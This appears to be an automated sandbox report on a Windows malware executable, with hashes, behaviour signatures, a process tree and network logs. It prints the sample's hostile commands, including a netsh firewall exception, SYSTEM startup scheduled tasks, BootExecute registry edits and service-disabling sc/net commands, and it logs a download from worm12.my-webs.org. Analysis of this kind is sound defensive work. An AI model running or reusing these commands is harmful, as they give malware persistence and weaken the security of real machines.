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Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    02/08/2024, 04:15 UTC

General

  • Target

    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe

  • Size

    3.0MB

  • MD5

    82feaf4427aff3dbad0a259b45bff63d

  • SHA1

    f1ca08e6a0866b42e3f7ed7c2e1e1d3ad7a5ceac

  • SHA256

    9a5bdddfeddbfaf15804092d2dd4c0f0edf84ca91781a57ef87a24e2e53c0f31

  • SHA512

    a196d170e7e17b7fbb249bb150cdf088e951183a97687786dbd6935039518b06527be69f7d6c79323f373f8a6d68b0a25c572f5f97962fd40b117a14f777e498

  • SSDEEP

    98304:MDHEfh0QVKtQkgC22K2uJ6AOsmKC81PBTcGcqpXmw8VSfVN7G97BmONSciOi2:m8atgujKC81PBIGcZcNN2EciO/

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Stops running service(s) 4 TTPs
  • Uses Session Manager for persistence 2 TTPs 3 IoCs

    Creates Session Manager registry key to run executable early in system boot.

  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram C:\windows\system\Plugin.exe RPCCC
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      • System Location Discovery: System Language Discovery
      PID:1796
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn balada /tr c:\autoexec.bat /sc onstart /ru system
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:2096
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn startt /tr c:\start.bat /sc onstart /ru system
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:2992
    • C:\Windows\SysWOW64\sc.exe
      sc delete GbpSv
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2716
    • C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\ControlSet001\Control\Session manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *" /f
      2⤵
      • Uses Session Manager for persistence
      • System Location Discovery: System Language Discovery
      PID:3052
    • C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\ControlSet002\Control\Session manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *" /f
      2⤵
      • Uses Session Manager for persistence
      • System Location Discovery: System Language Discovery
      PID:2932
    • C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *" /f
      2⤵
      • Uses Session Manager for persistence
      • System Location Discovery: System Language Discovery
      PID:2816
    • C:\Windows\SysWOW64\net.exe
      net start GbpSv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 start GbpSv
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2300
    • C:\Windows\SysWOW64\net.exe
      net stop GbpSv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop GbpSv
        3⤵
        • System Location Discovery: System Language Discovery
        PID:916
    • C:\Windows\SysWOW64\sc.exe
      sc stop GbpSv
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2692
    • C:\Windows\SysWOW64\sc.exe
      sc config GbpSv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:280
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c c:\autoexec.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1996

Network

  • flag-us
    DNS
    sortedemais.info
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    sortedemais.info
    IN A
    Response
  • flag-us
    DNS
    link3d.iespana.es
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    link3d.iespana.es
    IN A
    Response
  • flag-us
    DNS
    worm12.my-webs.org
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    worm12.my-webs.org
    IN A
    Response
    worm12.my-webs.org
    IN A
    199.59.243.226
  • flag-us
    DNS
    worm12.my-webs.org
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    worm12.my-webs.org
    IN A
  • flag-us
    GET
    http://worm12.my-webs.org/Lista/autochkk.gif
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    199.59.243.226:80
    Request
    GET /Lista/autochkk.gif HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: worm12.my-webs.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    date: Fri, 02 Aug 2024 04:15:14 GMT
    content-type: text/html; charset=utf-8
    content-length: 1078
    x-request-id: a82bb009-c3fe-4998-8620-c0df36e3b59b
    cache-control: no-store, max-age=0
    accept-ch: sec-ch-prefers-color-scheme
    critical-ch: sec-ch-prefers-color-scheme
    vary: sec-ch-prefers-color-scheme
    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_pAwPqm7EPZ291Lrd19suI/6fuH4FFE/wPQfrqTTVat5Nkuqjuz1i6ouA0HyAQX9NrCU7G94xOCyi5+eR91p/5A==
    set-cookie: parking_session=a82bb009-c3fe-4998-8620-c0df36e3b59b; expires=Fri, 02 Aug 2024 04:30:14 GMT; path=/
  • flag-us
    DNS
    lucifreitas.org
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    lucifreitas.org
    IN A
    Response
  • flag-us
    DNS
    lucifreitas.org
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    lucifreitas.org
    IN A
  • flag-us
    DNS
    lucifreitas.org
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    Remote address:
    8.8.8.8:53
    Request
    lucifreitas.org
    IN A
  • 199.59.243.226:80
    http://worm12.my-webs.org/Lista/autochkk.gif
    http
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    939 B
    2.4kB
    13
    6

    HTTP Request

    GET http://worm12.my-webs.org/Lista/autochkk.gif

    HTTP Response

    200
  • 8.8.8.8:53
    sortedemais.info
    dns
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    62 B
    141 B
    1
    1

    DNS Request

    sortedemais.info

  • 8.8.8.8:53
    link3d.iespana.es
    dns
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    63 B
    134 B
    1
    1

    DNS Request

    link3d.iespana.es

  • 8.8.8.8:53
    worm12.my-webs.org
    dns
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    128 B
    80 B
    2
    1

    DNS Request

    worm12.my-webs.org

    DNS Request

    worm12.my-webs.org

    DNS Response

    199.59.243.226

  • 8.8.8.8:53
    lucifreitas.org
    dns
    82feaf4427aff3dbad0a259b45bff63d_JaffaCakes118.exe
    183 B
    143 B
    3
    1

    DNS Request

    lucifreitas.org

    DNS Request

    lucifreitas.org

    DNS Request

    lucifreitas.org

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\autoexec.bat

    Filesize

    6KB

    MD5

    3c4efbf13ceeb379b1a102ca466048cd

    SHA1

    cd038f0fe0747102bf0568a9eafc139fb63b7e8b

    SHA256

    1156730d23bd9460f2b577176b8960df0cffe15a72c7df0b1da6ddb13ce6e995

    SHA512

    68f7085a2f3d24a543b25029fa83cfff1ed05f63a99155cecbb4cdc0b9b26354f4d48b08256c5a5212ce319467b23fa6804e9f8d67a81c4231d444ffe1eac320

  • memory/2232-2-0x0000000000400000-0x0000000000B64000-memory.dmp

    Filesize

    7.4MB

  • memory/2232-3-0x0000000000400000-0x0000000000B64000-memory.dmp

    Filesize

    7.4MB

  • memory/2232-19-0x0000000000400000-0x0000000000B64000-memory.dmp

    Filesize

    7.4MB

  • memory/2232-20-0x0000000000400000-0x0000000000B64000-memory.dmp

    Filesize

    7.4MB

  • memory/2232-24-0x0000000000400000-0x0000000000B64000-memory.dmp

    Filesize

    7.4MB

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